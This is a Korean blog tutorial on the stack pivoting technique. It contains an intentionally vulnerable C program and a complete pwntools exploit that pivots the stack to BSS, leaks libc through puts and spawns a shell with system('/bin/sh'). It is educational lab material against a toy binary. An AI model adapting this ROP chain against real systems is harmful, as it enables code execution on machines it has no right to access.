오늘은 Stack Pivoting 이라는 기법에 대해 알아보려고 한다.✌️
Stack pivoting은 Stack이 아닌 공간을 Stack처럼 사용하여 Exploit을 수행하는 기법.
보통 Buffer overflow가 발생하지만, ret까지 덮을 수 있거나 ret보다 조금 더 덮을 수 있을 경우 ROPChain을 구성하기 힘들 때 사용된다.
🌟 해당 기법은 leave; ret; 가젯이 어떤 방식으로 동작하는지 알고 있다는 가정하에 진행한다.
바로 예제 코드를 통해 살펴보자.
// gcc -o stack_pivot stack_pivot.c -fno-stack-protector -no-pie
#include <stdio.h>
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
char buf[0x30];
puts("Hello. Input :");
read(0, buf, 0x70);
return 0;
}
예제 코드는 엄청 단순하다. buf[0x30]을 선언하고, "Hello. Input :" 문자열을 출력하고 사용자의 입력을 받은 뒤 바로 종료된다.
gdb를 통해 보면 해당 변수는 rbp-0x30에 위치한다.
바로 Payload와 함께 살펴보자.
from pwn import *
p = process('./stack_pivot')
binary = ELF('./stack_pivot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
bss = binary.bss()
ret_addr = 0x00000000004004fe
rdi_addr = 0x0000000000400743
rsi_r15_addr = 0x0000000000400741
leave_ret_addr = 0x00000000004006d8
print("[*] binary bss address : ", hex(bss))
print("[!!] Exploit Code Process id : ", p.pid)
pause()
# read(0, bss+0x200, ??)
payload = b"A" * 0x30
payload += p64(bss+0x200) # fake rbp
payload += p64(rdi_addr) + p64(0) # pop rdi
payload += p64(rsi_r15_addr) + p64(bss+0x200) + p64(0)
payload += p64(binary.plt['read'])
payload += p64(leave_ret_addr)
p.sendafter(b"Hello. Input :\n", payload)
# puts(read_got)
payload2 = p64(bss+0x300) # fake rbp2
payload2 += p64(rdi_addr) + p64(binary.got['read'])
payload2 += p64(binary.plt['puts']) # puts(read_got)
# read(0, bss+0x300, ??)
payload2 += p64(rdi_addr) + p64(0)
payload2 += p64(rsi_r15_addr) + p64(bss+0x300) + p64(0)
payload2 += p64(binary.plt['read'])
payload2 += p64(leave_ret_addr)
p.send(payload2)
read_addr = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + list(libc.search(b'/bin/sh'))[0]
print("[*] Libc base address :", hex(libc_base))
print("[*] System Function address :", hex(system_addr))
print("[*] /bin/sh address :", hex(binsh_addr))
# system("/bin/sh")
payload3 = p64(bss+0x400) # rbp
payload3 += p64(rdi_addr) + p64(binsh_addr)
payload3 += p64(ret_addr)
payload3 += p64(system_addr)
p.send(payload3)
p.interactive()
Exploit Payload가 좀 길긴 하지만, 차근차근 하나씩 분석해보자. 🔨
아! 그전에 Exploit Payload를 간단하게 설명해보겠다.
Exploit Payload.
1. BSS+0x200으로 SFP(rbp)변경. 이후 read 함수를 통해 BSS+0x200에 Stack 구성.
2. BSS+0x200에는 puts 함수를 통해 read 함수의 주소를 출력. 이후 read 함수를 통해 BSS+0x300에 Stack 구성.
=> 출력한 read 함수를 통해 Libc_base 계산 및 system 함수의 주소, "/bin/sh" 주소 파악.
3. BSS+0x300에는 system("/bin/sh")를 호출하는 ROPChain 구성.
자 이제 첫 번째 Payload부터 살펴보자.
# read(0, bss+0x200, ??)
payload = b"A" * 0x30
payload += p64(bss+0x200) # fake rbp
payload += p64(rdi_addr) + p64(0) # pop rdi
payload += p64(rsi_r15_addr) + p64(bss+0x200) + p64(0)
payload += p64(binary.plt['read'])
payload += p64(leave_ret_addr)
p.sendafter(b"Hello. Input :\n", payload)
첫 번째 익스코드는 위와 같다.
SFP는 bss+0x200으로 설정한다. 이후 read(0, bss+0x200, ??)함수를 호출하여 bss+0x200에 입력을 받고, leave 어셈블리어와 ret 어셈블리어를 실행시킨다.
우선 원래 코드(main)에 있던 leave 어셈블리어를 만나면, rbp는 bss+0x200의 주소를 가리키고, ret 이후의 ROPChain을 실행시킨다.
그림의 오른쪽부분이 원래 코드(main)의 leave 어셈블리어를 실행시켰을 때의 모습이다. 이후 ret 어셈블리어를 실행시키면서 왼쪽 그림에서 rsp 레지스터는 아래로 ROPChain을 실행시킨다.
이때, read함수를 통해 bss+0x200에 입력받는다. 해당 부분에 두 번째 Payload를 구성한다.
바로 두 번째 익스코드를 살펴보자.
# puts(read_got)
payload2 = p64(bss+0x300) # fake rbp2
payload2 += p64(rdi_addr) + p64(binary.got['read'])
payload2 += p64(binary.plt['puts']) # puts(read_got)
# read(0, bss+0x300, ??)
payload2 += p64(rdi_addr) + p64(0)
payload2 += p64(rsi_r15_addr) + p64(bss+0x300) + p64(0)
payload2 += p64(binary.plt['read'])
payload2 += p64(leave_ret_addr)
p.send(payload2)
두 번째 익스코드이다. 첫 번째 익스코드의 leave 어셈블리어를 만나면 아래와 같이 rbp 레지스터가 bss+0x300을 가르킨다.
이후 ret 어셈블리어를 만나면, rsp는 아래로 쭉 ROPChain을 실행시킨다.
puts 함수를 통해 read 함수의 주소를 출력시키고 이를 통해 라이브러리의 베이스 주소 등등 Exploit에 필요한 메모리 주소들을 계산한다.
이후 read 함수를 통해 bss+0x300에 입력을 받는다. 이후 leave와 ret 어셈블리어를 통해 마찬가지로 세 번째 익스코드로 실행흐름의 바뀌게 된다.
# system("/bin/sh")
payload3 = p64(bss+0x400) # rbp
payload3 += p64(rdi_addr) + p64(binsh_addr)
payload3 += p64(ret_addr)
payload3 += p64(system_addr)
p.send(payload3)
마지막 부분이다. system("/bin/sh")를 실행시키는 단순한 ROPChain이다.
☑️ 참고로 Ubuntu-18.04에서 테스트했다...
이런 방법도 있었구나 .. Bye 👋
※ 참고
👉 https://www.lazenca.net/display/TEC/16.Stack+pivot
👉 https://velog.io/@silvergun8291/Stack-pivoting